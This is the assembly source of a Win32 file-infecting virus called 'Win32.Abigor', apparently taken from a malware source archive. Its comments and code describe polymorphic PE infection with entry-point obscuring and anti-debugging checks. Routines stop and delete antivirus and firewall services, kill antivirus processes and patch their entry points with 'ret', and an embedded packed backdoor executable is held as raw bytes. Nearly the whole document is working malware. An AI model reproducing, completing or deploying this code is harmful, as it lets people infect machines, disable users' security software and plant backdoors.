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MalwareSourceCode/Win32/Infector/Win32.Abigor.ASM

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; ********************
; * Win32.Abigor *
; ********************
;
; It is a polymorphic PE file appending win32 virus that uses EPO.
; It is also my first virus attempt.
;
; here is some of it's feature :
;
;* Infect filez on execution (via registry hooking), and directly the system and windows folder
; (1st execution only)
;* Patch all occurence of ExitProcess, exit and _exit so the virus runs when the hosts terminates
;
;* After some time, it will disable AVz and firewall by patching their entry point with a "ret",
; deleting their service. Then it drops it's backdoor component.
;
;* Randomly trashes the system by blocking exe'z execution, this has 1/1000 chances to happen
; when an exe is executed and it is during "generaly" until the system reboots.
; .
; .
; .
; (well it's not a feature, it's a bug ! :D)
;
;
;
;
;
;
;
;
; Well... no more talking here's the code ->
.586
.model flat, stdcall
option casemap :none ; case sensitive
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
__DBG_ON__ equ FALSE ; TRUE : disable anti-debugging feature FALSE : enable anti-debugging feature
__RELEASE_MODE__ equ TRUE ; FALSE : does not infect windows and system TRUE : does infect win & sys dir
%out
%out Virus Version INFO:
%out
IF __DBG_ON__
%out * Anti-debugging feature DISABLED
ELSE
%out * Anti-debugging feature ENABLED
ENDIF
IF __RELEASE_MODE__
%out * DOES infect windows & system directory on 1st execution
%out * Anti-AV routines ENABLED
ELSE
%out * DOES NOT infect windows & system directory on 1st execution
%out * Anti-AV routines DISABLED
ENDIF
%out
.data
templ db "%lx",0 ; DEBUG 1st gen
db 0
.data?
buf db 256 dup (?) ; DEBUG 1st gen
.code
ALIGN 4
start:
xor ebx , ebx
jmp VirusStart
hehe:invokE ExitProcess,0 ; 1st gen.
VirusStart:
rept 8
nop
ENDM
cld
Call ___Delta
___Delta:
pop ebp
sub ebp, OFFSET ___Delta
and dword ptr [ebp + Patched?],0 ; init error
assume fs:nothing
mov dword ptr [ebp + @@Delta],ebp ; Delta to restore if General error
mov dword ptr [ebp + @@@Delta],ebp ; Delta to restore if Kernel base access error
lea eax,[exception_handler+ebp]
push eax
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
mov esi, dword ptr [ebp + _KERNEL32] ; try with last used kernel
Call GetK32
or eax,eax
jnz @F
mov esi,0BFF70000h ; Win9x
Call GetK32 ; ...
or eax,eax
jnz @F
mov esi,077E40000h ; XP
Call GetK32 ; GetKernel
or eax,eax
jnz @F
mov esi,077E00000h ; NT/W2k
Call GetK32
or eax,eax
jnz @F
mov esi,077E80000h ; NT/W2k
Call GetK32
or eax,eax
jnz @F
mov esi,077ED0000h ; NT/W2k
Call GetK32
or eax,eax
jnz @F
mov esi,077F00000h ; NT/W2k
Call GetK32
@@:
mov dword ptr [ebp+_KERNEL32],eax ; Save kernel base
Call GetGetProcAddressAddress ; hum...
IFE __DBG_ON__ ; enable debugging for test only
mov eax, dword ptr [ebp + _GetProcAddress]
cmp byte ptr [eax], 0CCh
jz ZeroShit
lea eax, dword ptr [ebp + szIsDebuggerPresent]
push eax
push dword ptr [ebp+_KERNEL32]
Call dword ptr [ebp + _GetProcAddress]
.IF eax == 0 ; -> win95
mov ecx,fs:[20h]
jecxz @F
jmp ZeroShit ; quit if debugger found
@@:
.ELSE ; -> win98, NT, 2k, XP
CAll EAX
or eax, eax
jz @F
jmp ZeroShit ; quit if debugger found
@@:
.ENDIF
ENDIF
push 3
lea eax, dword ptr [ebp + szSetErrorMode]
Call K32Api
lea eax,[EnableHostExecutionOnError_handlder+ebp] ; Setup SEH frame for poly error handling
push eax
mov dword ptr [ebp + EnableHostExecutionOnError_Delta],ebp ; Save Delta
mov dword ptr [ebp + EnableHostExecutionOnError_Stack],esp ; Save Stack
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
sub esp, SIZEOF OSVERSIONINFO
mov ebx, esp
assume ebx : ptr OSVERSIONINFO
mov dword ptr [ebx].dwOSVersionInfoSize, SIZEOF OSVERSIONINFO
push ebx
lea eax, dword ptr [ebp + szGetVersionExA]
Call K32Api
push dword ptr [ebx].dwPlatformId
pop dword ptr [ebp + WinVer]
add esp, SIZEOF OSVERSIONINFO
assume ebx : NOTHING
lea eax, dword ptr [ebp + Advapi32]
push eax
lea eax, dword ptr [ebp + szLoadLibraryA]
Call K32Api
mov dword ptr [ebp + _ADVAPI32], eax
lea eax, dword ptr [ebp + Psapi]
push eax
lea eax, dword ptr [ebp + szLoadLibraryA]
Call K32Api
mov dword ptr [ebp + _PSAPI], eax
lea eax, dword ptr [ebp + SFC]
push eax
lea eax, dword ptr [ebp + szLoadLibraryA]
Call K32Api
mov dword ptr [ebp + hSFC], eax
lea eax,dword ptr [ebp + USER32]
push eax
lea eax,dword ptr [ebp+szLoadLibraryA]
Call K32Api
mov dword ptr [ebp+_USER32],eax ; Save user32 base
lea eax,dword ptr [ebp + Shell32]
push eax
lea eax,dword ptr [ebp+szLoadLibraryA]
Call K32Api
mov dword ptr [ebp+_Shell32],eax ; Save user32 base
Call Random_init ; init rng seeds
;CALL SetupRegHook ; install virus
IF __RELEASE_MODE__
sub esp, 120
mov ebx, esp
mov dword ptr [ebp + CompNameSize], 100
lea eax, dword ptr [ebp + CompNameSize]
push eax
push ebx
;lea eax, dword ptr [ebp + szGetComputerNameA] ; ERR_NOACCESS ???
;Call K32Api
lea eax, dword ptr [ebp + szGetUserNameA]
Call ADVAPI32Api
lea edi, dword ptr [ebp + OldCompName]
mov esi, ebx
mov eax, ebx
call _strlen
mov ecx, eax
mov edx, ecx
repz cmpsb
and byte ptr [ebp + NewSystem],0
test ecx, ecx
jz CmpInfTime ; not a new system: abort massive infection
;####################### executed ONLY once on 1st infection #####################
mov esi, ebx
lea edi, dword ptr [ebp + OldCompName] ; store old computer name for further checking
xchg ecx, edx
rep movsb
lea eax, dword ptr [ebp + InfectionTime] ; retrieve 1st infection time on this computer
push eax
lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
Call K32Api
lea eax,[win_infect_handlder+ebp] ; Setup SEH frame for poly error handling
push eax
mov dword ptr [ebp + win_infectDelta],ebp ; Save Delta
mov dword ptr [ebp + win_infectStack],esp ; Save Stack
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
inc byte ptr [ebp + NewSystem]
xor esi, esi
lea eax, dword ptr [ebp + NAV_Win]
push eax
push esi
lea eax, dword ptr [ebp + szFindWindowA]
Call U32Api
mov dword ptr [ebp + hNAVWnd], eax
or eax, eax
jz @F
push esi
push 9c42h ; Desactivate NAV
push WM_COMMAND
push eax
lea eax, dword ptr [ebp + szSendMessageA]
Call U32Api
@@:
Call infect_newsystem ; ensure perenniality on new system & sleep for some day
mov ecx, dword ptr [ebp + hNAVWnd]
jecxz @F
push 0
push 9c42h ; Restore NAV
push WM_COMMAND
push ecx
lea eax, dword ptr [ebp + szSendMessageA]
Call U32Api
@@:
win_infect_handlder:
DB 0BCh
win_infectStack dd 00000000h ; Restore Stack
xor edx,edx
pop dword ptr fs:[edx]
db 0BDh
win_infectDelta dd 00000000h ; Restore Delta
;#################################################################################
CmpInfTime:
add esp, 120
cmp byte ptr [ebp + NewSystem],0
jnz no_drop
lea eax, dword ptr [ebp + CreationTime] ; retrieve current time
push eax
lea eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
Call K32Api
mov eax, dword ptr [ebp + InfectionTime].dwLowDateTime
sub eax, dword ptr [ebp + CreationTime].dwLowDateTime ; substract current time
;mov dword ptr [ebp + TimeDifference].dwLowDateTime, eax
mov eax, dword ptr [ebp + InfectionTime].dwHighDateTime
sbb eax, dword ptr [ebp + CreationTime].dwHighDateTime ; substract current time
mov dword ptr [ebp + TimeDifference].dwHighDateTime, eax
cmp eax, TIME_DROP
ja no_drop
CAll KillAVz ; après que TIME_DROP soit dépassé detruire les AVs
lea eax, dword ptr [ebp + TS_Win]
push eax
push eax
lea eax, dword ptr [ebp + szFindWindowA]
Call U32Api
or eax, eax
jnz no_drop ; Backdoor déjà implanté sur notre système ?
Call Drop_BackDoor ; non ??? implantons !!
no_drop:
ENDIF
EnableHostExecutionOnError_handlder:
DB 0BCh
EnableHostExecutionOnError_Stack dd 00000000h ; Restore Stack
xor edx,edx
pop dword ptr fs:[edx]
db 0BDh
EnableHostExecutionOnError_Delta dd 00000000h ; Restore Delta
CALL SetupRegHook ; install virus
lea eax, dword ptr [ebp + szGetCommandLineA]
Call K32Api
or byte ptr [eax],20h
cmp byte ptr [eax],41h + 32
jb Return2host
cmp byte ptr [eax],5Ah + 32
ja Return2host
sub esp, 600
mov edi, eax
Call _strlen
mov ecx, eax
mov al,'"'
repnz scasb
mov dword ptr [ebp + pFileName], edi
mov al,'"'
repnz scasb
.IF byte ptr [edi] == ' ' ; in case of cmdline...
and byte ptr [edi-1],0
mov eax, dword ptr [ebp + pFileName]
Call _strlen
mov ecx, eax
mov al,' '
repnz scasb
and byte ptr [edi-1],0
.ELSE
and dword ptr [edi-1],0
.ENDIF
;push edi
sub esp, 380
mov esi, esp
push esi
mov byte ptr [esi],' '
inc esi
@@:
mov al, byte ptr [edi]
mov byte ptr [esi], al
inc edi
inc esi
or al,al
jz @F
jmp @B
@@:
pop esi
mov eax, dword ptr [ebp + pFileName]
IF __RELEASE_MODE__
pushad
cmp byte ptr [ebp + NewSystem],0
jnz SkipKill
xor edx, edx ; process is not active
mov eax, dword ptr [ebp + pFileName]
cmp dword ptr [ebp + TimeDifference].dwHighDateTime, TIME_DROP ; Time to engage kill routines ?
ja SkipKill
;pushad
;push 0
;push eax
;push eax
;push 0
;lea eax, [ebp + szMessageBoxA]
;call U32Api
;popad
Call KillAV ; Check if the file we are trying to run is an AV & if so kill it...
SkipKill:
popad
ENDIF
pushad
Call IsFileAV?
dec eax
popad
jz @F ; IS it an AV file ?
Call infect ; infect !!!
@@:
sub esp, (SIZEOF STARTUPINFO + 30)
mov ebx, esp
pushad
mov edi, ebx
mov ecx, (SIZEOF STARTUPINFO + 30)
xor al, al
rep stosb
popad
push ebx
lea eax, dword ptr [ebp + szGetStartupInfoA]
Call K32Api
;---
sub esp, 280
mov ecx, esp
push ecx ; for lstricmp
push 0FFh
push ecx
push 0
lea eax, dword ptr [ebp + szGetModuleFileNameA]
Call K32Api
push dword ptr [ebp + pFileName]
lea eax, dword ptr [ebp + szlstrcmpiA]
Call K32Api
sub esp, -280
sub esp, (SIZEOF PROCESS_INFORMATION + 30)
mov edx, esp
pushad
mov edi, edx
mov ecx, (SIZEOF PROCESS_INFORMATION + 30)
xor al, al
rep stosb
popad
or eax, eax
jz skpexec
sub esp, 280
mov edi, esp
push esi
mov esi, dword ptr [ebp + pFileName]
mov eax, esi
call _strlen
mov ecx, eax
rep movsb
pop esi
@@:
dec edi
cmp byte ptr [edi], '\'
jnz @B
and byte ptr [edi], 0
mov ecx, esp ; ecx = repertoire de l'exe
push edx
xor eax,eax
push edx
push ebx
push ecx
push eax
push NORMAL_PRIORITY_CLASS
push eax
push eax
push eax
pushad
lea eax, dword ptr [ebp + szSHGetFileInfo]
push eax
push dword ptr [ebp + _Shell32]
Call dword ptr [ebp + _GetProcAddress]
mov ebx, eax
sub esp, (SIZEOF SHFILEINFO + 80)
mov edi, esp
push SHGFI_EXETYPE
push SIZEOF SHFILEINFO
push edi
push 0
push dword ptr [ebp + pFileName]
Call ebx ; Get exe file type
add esp, (SIZEOF SHFILEINFO + 80)
clc
.IF ax != 'EP'
stc ; Non-PE file, set carry on
.ENDIF
popad
.IF CARRY?
push eax ; Non-PE file, don't use commandline
.ELSE
push esi ; PE file, preserve commandline
.ENDIF
push dword ptr [ebp + pFileName]
lea eax, dword ptr [ebp + szCreateProcessA]
Call K32Api
pop ebx
push [ebx+4]
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
skpexec:
add esp, (600 + 380 + 280 + SIZEOF STARTUPINFO + SIZEOF PROCESS_INFORMATION + 60 ) ; Fix stack
Return2host:
FreeLib:
push dword ptr [ebp + _Shell32]
lea eax,dword ptr [ebp+szFreeLibrary]
Call K32Api
push dword ptr [ebp + _USER32]
lea eax,dword ptr [ebp+szFreeLibrary]
Call K32Api
cmp dword ptr [ebp + hSFC], 0 ; Was it loaded ?
jz @F
push dword ptr [ebp + hSFC]
lea eax, dword ptr [ebp + szFreeLibrary]
Call K32Api
@@:
push dword ptr [ebp + _ADVAPI32]
lea eax, dword ptr [ebp + szFreeLibrary]
Call K32Api
cmp dword ptr [ebp + _PSAPI], 0 ; Was it loaded ?
jz @F
push dword ptr [ebp + _PSAPI]
lea eax, dword ptr [ebp + szFreeLibrary]
Call K32Api
@@:
jmp ZeroShit ; Clear shit And return 2 host
BytesNeeded dd 0
KillAVz proc
.IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT
Call KillHostileDrivers ; kill Hostile NT services first
sub esp, 2500
mov ebx, esp
lea eax, dword ptr [ebp + BytesNeeded]
push eax
push 2400
push ebx
lea eax, dword ptr [ebp + szEnumProcesses]
Call PSAPIApi
mov esi, ebx
nextone:
mov ecx, dword ptr [esi]
jecxz Skipit
push ecx
push 0
push PROCESS_ALL_ACCESS
lea eax, dword ptr [ebp + szOpenProcess]
Call K32Api
or eax, eax
jz Skipit
push eax ; <- For CloseHandle
sub esp, 300
mov edi, esp
push eax
push 256
push edi
push 0
push eax
lea eax, dword ptr [ebp + szGetModuleFileNameExA]
Call PSAPIApi
pop edx
sub eax, 4
js NOgood
mov eax, edi
Call KillAV
mov ecx, (256 / 4)
xor eax, eax
rep stosd
NOgood:
add esp, 300
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
Skipit:
add esi, 4
mov eax, ebx
add eax, 1024
cmp esi, eax
jle nextone
Call KillHostileDrivers ; kill Hostile NT services next :)
add esp, 2500
.ELSE
push 0
push TH32CS_SNAPPROCESS
lea eax, dword ptr [ebp + szCreateToolhelp32Snapshot]
Call K32Api
inc eax
jz ErrNoSnapshot
dec eax
mov esi, eax
sub esp, SIZEOF PROCESSENTRY32 + 30
mov ebx, esp
assume ebx : ptr PROCESSENTRY32
mov [ebx].dwSize, SIZEOF PROCESSENTRY32
push ebx
push esi
lea eax, dword ptr [ebp + szProcess32First]
Call K32Api
nextone9x:
push dword ptr [ebx].th32ProcessID
push 0
push PROCESS_ALL_ACCESS
lea eax, dword ptr [ebp + szOpenProcess]
Call K32Api
or eax, eax
jz ErrOpen9x
lea edx, dword ptr [ebx].szExeFile
xchg eax, edx
Call KillAV
ErrOpen9x:
push ebx
push esi
lea eax, dword ptr [ebp + szProcess32Next]
Call K32Api
or eax,eax
jnz nextone9x
push esi
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
add esp, SIZEOF PROCESSENTRY32 + 30
assume ebx : nothing
ErrNoSnapshot:
.ENDIF
ret
KillAVz endp
services db "AMON",0
db "avpg",0
db "AVPCC",0
db "Aavmker",0
db "Avast32 Start as Service",0
db "AvMon2",0
db "AvUpdSvc",0
db "KAVMonitorService",0
db "NOD32Service",0
db "PersFw",0
db "vsmon",0
db "Vsapint",0
db "Tmpreflt",0
db "Tmntsrv",0
db "Tmfilter",0
db "PCCPFW",0
db "PCC_PFW",0
db "wg3n",0
db "SmcService",0
db 0
KillHostileDrivers proc
xor esi, esi
push SC_MANAGER_ALL_ACCESS
push esi
push esi
lea eax, dword ptr [ebp + szOpenSCManagerA]
Call ADVAPI32Api
mov ebx, eax
lea esi, dword ptr [ebp + services]
KillServiceLoop:
push SERVICE_ALL_ACCESS
push esi
push ebx
lea eax, dword ptr [ebp + szOpenServiceA]
Call ADVAPI32Api
mov edi, eax
or edi, edi
jz NextService
push ebx
sub esp, SIZEOF SERVICE_STATUS + 20
mov ebx, esp
push ebx
push SERVICE_CONTROL_STOP
push edi
lea eax, dword ptr [ebp + szControlService]
Call ADVAPI32Api
add esp, SIZEOF SERVICE_STATUS + 20
pop ebx
push edi
lea eax, dword ptr [ebp + szDeleteService]
Call ADVAPI32Api
push edi
lea eax, dword ptr [ebp + szCloseServiceHandle]
Call ADVAPI32Api
NextService:
mov eax, esi
call _strlen
add esi, eax
inc esi
cmp byte ptr [esi],0 ; No more service ?
jz @F ; Exit loop
jmp KillServiceLoop ; Compare with next service
@@:
push ebx
lea eax, dword ptr [ebp + szCloseServiceHandle]
Call ADVAPI32Api
ret
KillHostileDrivers endp
AV_lst db "Autodown.exe",0
db "Tmntsrv.exe",0
db "amon.exe",0
db "avmaisrv.exe",0
db "avserver.exe",0
db "nod32.exe",0
db "nod32cc.exe",0
db "Zonealarm.exe",0
db "zapro.exe",0
db "Wfindv32.exe",0
db "Webscanx.exe",0
db "Vsstat.exe",0
db "Vshwin32.exe",0
db "Vsecomr.exe",0
db "Vscan40.exe",0
db "Vettray.exe",0
db "Vet95.exe",0
db "Tds2-Nt.exe",0
db "Tds2-98.exe",0
db "Tca.exe",0
db "Tbscan.exe",0
db "Sweep95.exe",0
db "Sphinx.exe",0
db "Smc.exe",0
db "Serv95.exe",0
db "Scrscan.exe",0
db "Scanpm.exe",0
db "Scan95.exe",0
db "Scan32.exe",0
db "Safeweb.exe",0
db "Rescue.exe",0
db "Rav7win.exe",0
db "Rav7.exe",0
db "Persfw.exe",0
db "Pcfwallicon.exe",0
db "Pccwin98.exe",0
db "Pccguide.exe",0
db "Pccclient.exe",0
db "Pavw.exe",0
db "Pavsched.exe",0
db "Pavcl.exe",0
db "Padmin.exe",0
db "Outpost.exe",0
db "Nvc95.exe",0
db "Nupgrade.exe",0
db "Normist.exe",0
db "Nmain.exe",0
db "Nisum.exe",0
db "Navwnt.exe",0
db "Navw32.exe",0
db "Navnt.exe",0
db "Navlu32.exe",0
db "Navapw32.exe",0
db "N32scanw.exe",0
db "Mpftray.exe",0
db "Moolive.exe",0
db "Luall.exe",0
db "Lookout.exe",0
db "Lockdown2000.exe",0
db "Jedi.exe",0
db "Iomon98.exe",0
db "Iface.exe",0
db "Icsuppnt.exe",0
db "Icsupp95.exe",0
db "Icmon.exe",0
db "Icloadnt.exe",0
db "Icload95.exe",0
db "Ibmavsp.exe",0
db "Ibmasn.exe",0
db "Iamserv.exe",0
db "Iamapp.exe",0
db "Frw.exe",0
db "Fprot.exe",0
db "Fp-Win.exe",0
db "Findviru.exe",0
db "F-Stopw.exe",0
db "F-Prot95.exe",0
db "F-Prot.exe",0
db "F-Agnt95.exe",0
db "Espwatch.exe",0
db "Esafe.exe",0
db "Ecengine.exe",0
db "Dvp95_0.exe",0
db "Dvp95.exe",0
db "Cleaner3.exe",0
db "Cleaner.exe",0
db "Claw95cf.exe",0
db "Claw95.exe",0
db "Cfinet32.exe",0
db "Cfinet.exe",0
db "Cfiaudit.exe",0
db "Cfiadmin.exe",0
db "Blackice.exe",0
db "Blackd.exe",0
db "Avwupd32.exe",0
db "Avwin95.exe",0
db "Avsched32.exe",0
db "Avpupd.exe",0
db "Avptc32.exe",0
db "avpm.exe",0
db "Avpdos32.exe",0
db "Avpcc.exe",0
db "Avp32.exe",0
db "Avp.exe",0
db "Avnt.exe",0
db "Avkserv.exe",0
db "Avgctrl.exe",0
db "Ave32.exe",0
db "Avconsol.exe",0
db "Apvxdwin.exe",0
db "Anti-Trojan.exe",0
db "Ackwin32.exe",0
db "_Avpm.exe",0
db "_Avpcc.exe",0
db "_Avp32.exe",0
db "Vsmon.exe",0
db "Smc.exe",0
db 0
IsFileAV? proc
; in : eax = pointer to filename
; out : eax == 1 if FileName Is a AV one, else eax == 0
sub esp, SIZEOF WIN32_FIND_DATA + 50
mov edi, esp
push edi
assume edi : ptr WIN32_FIND_DATA
push eax
lea eax, dword ptr [ebp + szFindFirstFileA]
Call K32Api
lea edi, [edi].cFileName ; Always get the long filename
assume edi : nothing
push eax
lea eax, dword ptr [ebp + szFindClose]
CAll K32Api
cmp byte ptr [edi+1], ':'
jnz JustExe
mov eax, edi
Call _strlen
add edi, eax
@@:
dec edi
cmp byte ptr [edi], '\'
jnz @B
inc edi
JustExe:
lea esi, dword ptr [ebp + AV_lst]
AV_scan_loop:
push edi
push esi
lea eax, dword ptr [ebp + szlstrcmpiA] ; compare it with one AV ?
Call K32Api
or eax, eax ; name is matching ?
jnz NotListedAV
add esp, SIZEOF WIN32_FIND_DATA + 50
inc eax ; AV return 1
ret
NotListedAV:
mov eax, esi
Call _strlen
add esi, eax
inc esi
cmp byte ptr [esi],0 ; No more AV ?
jz @F ; Exit loop
jmp AV_scan_loop ; Compare with next AV
@@:
add esp, SIZEOF WIN32_FIND_DATA + 50
xor eax, eax
ret
IsFileAV? endp
pid dd 0
;test_file db "c:\windows\system32\host.exe",0
; in : eax = pointer to filename to process
; edx = process handle IF the process to be trashed is active ELSE put NULL
KillAV proc
pushad
mov ebx, eax ; put pointer to filename into ebx
mov dword ptr [ebp + pid], edx
sub esp, SIZEOF WIN32_FIND_DATA + 50
mov edi, esp
push edi
assume edi : ptr WIN32_FIND_DATA
push ebx
lea eax, dword ptr [ebp + szFindFirstFileA]
Call K32Api
lea edi, [edi].cFileName ; Always get the long filename
assume edi : nothing
push eax
lea eax, dword ptr [ebp + szFindClose]
CAll K32Api
cmp byte ptr [edi+1], ':'
jnz JustExe
mov eax, edi
Call _strlen
add edi, eax
@@:
dec edi
cmp byte ptr [edi], '\'
jnz @B
inc edi ; reach byte after last '\'
JustExe:
lea esi, dword ptr [ebp + AV_lst]
;pushad
;push 0
;push edi
;push ebx
;push 0
;lea eax, [ebp + szMessageBoxA]
;call U32Api
;popad
AV_scan_loop:
push edi
push esi
lea eax, dword ptr [ebp + szlstrcmpiA] ; compare it with one AV ?
Call K32Api
or eax, eax ; name is matching ?
jnz NotListedAV
push dword ptr [edi]
or dword ptr [edi], 20202020h
cmp dword ptr [edi], 'mpva' ; Avp monitor ?
pop dword ptr [edi]
jz @F ; don't kill it
mov ecx, dword ptr [ebp + pid]
jecxz @F ; is process running ? no skip
push eax
push ecx
lea eax, dword ptr [ebp + szTerminateProcess] ; kill !
Call K32Api
@@:
;pushad
;push 0
;push edi
;push ebx
;push 0
;lea eax, [ebp + szMessageBoxA]
;call U32Api
;popad
Call PatchAV ; Extra (may only work when prossess
; is about to be launched due to
; the latency time necessary to unload
; image from the memory and, thus, writing
NotListedAV: ; to the file on disk)
mov eax, esi
Call _strlen
add esi, eax
inc esi
cmp byte ptr [esi],0 ; No more AV ?
jz @F ; Exit loop
jmp AV_scan_loop ; Compare with next AV
@@:
add esp, SIZEOF WIN32_FIND_DATA + 50
popad
ret
KillAV endp
PatchAV proc uses edx ; in : ebx = pointer to full path of file to patch.
pushad
push FILE_ATTRIBUTE_NORMAL
push ebx
lea eax, dword ptr [ebp + szSetFileAttributesA] ; reset attributes
Call K32Api
xor esi, esi
push esi
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push esi
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push ebx
lea eax, dword ptr [ebp + szCreateFileA]
Call K32Api
inc eax
jz ErrOpen
dec eax
mov dword ptr [ebp + hFile],eax
push esi
push esi
push esi
push PAGE_READWRITE
push esi
push dword ptr [ebp + hFile]
lea eax,[ebp+szCreateFileMappingA]
call K32Api
or eax,eax
jz ErrCloseFa
mov dword ptr [ebp + hMap],eax
push esi
push esi
push esi
push FILE_MAP_ALL_ACCESS
push dword ptr [ebp+hMap]
lea eax,dword ptr [ebp+szMapViewOfFile]
call K32Api
test eax,eax
jz ErrShit
mov dword ptr [ebp + pMap],eax
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
jnz ErrShit
mov edi,[eax+3ch]
add edi,eax
cmp dword ptr [edi],IMAGE_NT_SIGNATURE
jnz ErrShit
assume edi : ptr IMAGE_NT_HEADERS
mov edi,[edi].OptionalHeader.AddressOfEntryPoint
mov esi,dword ptr [ebp + pMap]
Call RVAToOffset ; get raw offset
add eax,dword ptr [ebp + pMap] ; add base address
assume edi : nothing
mov edi,eax
mov al, 0C3h ; patch entrypoint with "return to windows"
stosb
Call Random32
and eax,07Fh
Call GenTrashBlk ; add shit ...
; this should make it a bit harder to repair :-)
ErrShit:
Call UnMap
ErrCloseFa:
push dword ptr [ebp+hFile]
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
ErrOpen:
popad
ret
PatchAV endp
BackdoorStart db 77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0
db 184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,176,0,0,0
db 14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104
db 105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111
db 116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32
db 109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0
db 85,217,249,219,17,184,151,136,17,184,151,136,17,184,151,136
db 17,184,151,136,146,184,151,136,237,152,133,136,19,184,151,136
db 82,105,99,104,17,184,151,136,0,0,0,0,0,0,0,0
db 80,69,0,0,76,1,3,0,143,87,26,64,0,0,0,0
db 0,0,0,0,224,0,15,1,11,1,5,12,0,48,0,0
db 0,16,0,0,0,192,1,0,48,242,1,0,0,208,1,0
db 0,0,2,0,0,0,64,0,0,16,0,0,0,2,0,0
db 4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0
db 0,16,2,0,0,16,0,0,0,0,0,0,2,0,0,0
db 0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0
db 0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0
db 0,0,2,0,232,1,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,85,80,88,48,0,0,0,0
db 0,192,1,0,0,16,0,0,0,0,0,0,0,4,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,224
db 85,80,88,49,0,0,0,0,0,48,0,0,0,208,1,0
db 0,36,0,0,0,4,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,64,0,0,224,85,80,88,50,0,0,0,0
db 0,16,0,0,0,0,2,0,0,2,0,0,0,40,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,49,46,50,51,0
db 85,80,88,33,12,9,2,8,175,233,133,239,104,160,181,151
db 81,216,1,0,45,34,0,0,0,92,0,0,38,1,0,158
db 223,91,254,255,106,3,232,1,0,59,88,199,5,79,148,64
db 0,148,0,104,8,19,22,223,255,238,230,131,61,95,2,117
db 79,13,58,212,104,2,195,65,0,106,40,80,26,190,92,190
db 221,237,104,144,97,25,104,156,4,106,0,63,184,140,97,175
db 105,54,179,1,9,152,2,106,1,249,247,142,108,37,140,255
db 53,63,60,148,104,0,96,99,187,255,158,4,88,20,11,192
db 117,55,8,50,130,74,58,205,221,125,246,254,163,12,137,25
db 194,163,16,9,131,37,20,41,65,239,96,239,149,10,14,73
db 32,1,61,140,172,251,253,255,58,158,85,139,236,131,196,232
db 255,117,248,141,69,252,17,60,24,82,102,123,118,107,182,119
db 56,98,41,17,6,84,30,244,80,3,117,111,176,238,240,80
db 25,1,155,247,198,171,128,177,205,246,253,152,214,199,69,85
db 19,39,232,236,80,65,96,221,183,153,38,90,240,31,220,68
db 13,11,183,177,246,237,208,139,32,201,195,51,192,3,125,176
db 58,208,48,236,62,114,115,242,6,212,3,216,30,18,64,13
db 220,0,114,251,236,141,224,6,183,143,69,228,22,240,6,59
db 156,112,54,244,29,248,15,127,49,208,101,192,182,246,68,137
db 128,2,252,17,62,139,117,199,182,236,145,208,238,86,106,143
